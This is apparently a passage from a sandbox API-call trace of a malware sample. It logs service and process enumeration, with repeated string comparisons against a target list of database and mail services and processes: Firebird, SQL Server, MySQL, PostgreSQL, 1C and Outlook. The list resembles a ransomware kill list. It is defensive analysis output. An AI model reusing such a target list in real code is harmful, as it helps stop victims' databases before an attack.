lpString2="MMCSS") returned 1 [0041.329] lstrlenW (lpString="MpsSvc") returned 6 [0041.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.329] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.329] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.329] lstrlenW (lpString="Netman") returned 6 [0041.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.329] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.329] lstrlenW (lpString="netprofm") returned 8 [0041.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.329] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.329] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.330] lstrlenW (lpString="NlaSvc") returned 6 [0041.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.330] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.330] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.330] lstrlenW (lpString="nsi") returned 3 [0041.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.330] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.330] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.330] lstrlenW (lpString="PcaSvc") returned 6 [0041.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.330] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.330] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.330] lstrlenW (lpString="PlugPlay") returned 8 [0041.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.330] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.330] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.330] lstrlenW (lpString="Power") returned 5 [0041.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.330] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.330] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.330] lstrlenW (lpString="ProfSvc") returned 7 [0041.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.330] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.330] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.330] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.331] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.331] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.331] lstrlenW (lpString="RpcSs") returned 5 [0041.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.331] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.331] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.331] lstrlenW (lpString="SamSs") returned 5 [0041.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.331] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.331] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.331] lstrlenW (lpString="Schedule") returned 8 [0041.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.331] lstrlenW (lpString="SENS") returned 4 [0041.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.331] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.331] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.331] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.331] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.331] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.331] lstrlenW (lpString="Spooler") returned 7 [0041.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.332] lstrlenW (lpString="SysMain") returned 7 [0041.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.332] lstrlenW (lpString="Themes") returned 6 [0041.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.332] lstrlenW (lpString="TrkWks") returned 6 [0041.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.332] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.332] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.332] lstrlenW (lpString="UxSms") returned 5 [0041.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.332] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.332] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.332] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.332] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.332] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.332] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.332] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.332] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.332] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.333] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.333] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.333] lstrlenW (lpString="Winmgmt") returned 7 [0041.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.333] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.333] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.333] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.333] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f9208 | out: hHeap=0x6c0000) returned 1 [0041.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0041.336] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.336] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.337] lstrlenW (lpString="System") returned 6 [0041.337] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.337] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.337] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.337] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.337] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.337] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.337] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.337] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.337] lstrlenW (lpString="smss.exe") returned 8 [0041.337] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.337] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.337] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.337] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.337] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.337] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.337] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.337] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.338] lstrlenW (lpString="csrss.exe") returned 9 [0041.338] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.338] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.338] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.338] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.338] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.338] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.338] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.338] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.338] lstrlenW (lpString="wininit.exe") returned 11 [0041.338] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.338] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.338] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.339] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0041.339] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0041.339] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0041.339] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0041.339] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.339] lstrlenW (lpString="csrss.exe") returned 9 [0041.339] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.339] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.339] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.339] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.339] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.339] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.339] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.340] lstrlenW (lpString="winlogon.exe") returned 12 [0041.340] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.340] lstrlenW (lpString="services.exe") returned 12 [0041.340] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.341] lstrlenW (lpString="lsass.exe") returned 9 [0041.341] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.341] lstrlenW (lpString="lsm.exe") returned 7 [0041.341] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.342] lstrlenW (lpString="svchost.exe") returned 11 [0041.342] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.342] lstrlenW (lpString="svchost.exe") returned 11 [0041.342] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.343] lstrlenW (lpString="svchost.exe") returned 11 [0041.343] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.343] lstrlenW (lpString="svchost.exe") returned 11 [0041.343] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.344] lstrlenW (lpString="svchost.exe") returned 11 [0041.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.344] lstrlenW (lpString="audiodg.exe") returned 11 [0041.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.345] lstrlenW (lpString="svchost.exe") returned 11 [0041.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.345] lstrlenW (lpString="svchost.exe") returned 11 [0041.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.345] lstrlenW (lpString="dwm.exe") returned 7 [0041.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.346] lstrlenW (lpString="explorer.exe") returned 12 [0041.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.346] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.347] lstrlenW (lpString="taskhost.exe") returned 12 [0041.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.347] lstrlenW (lpString="svchost.exe") returned 11 [0041.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.348] lstrlenW (lpString="taskeng.exe") returned 11 [0041.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.348] lstrlenW (lpString="taskhost.exe") returned 12 [0041.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0041.349] lstrlenW (lpString="br_maintaining.exe") returned 18 [0041.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0041.349] lstrlenW (lpString="kitsenormous.exe") returned 16 [0041.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0041.350] lstrlenW (lpString="intermediate-components.exe") returned 27 [0041.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0041.350] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0041.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0041.350] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0041.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0041.351] lstrlenW (lpString="stupid.exe") returned 10 [0041.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0041.351] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0041.351] Process32NextW (in: hSnapshot=0xe0, 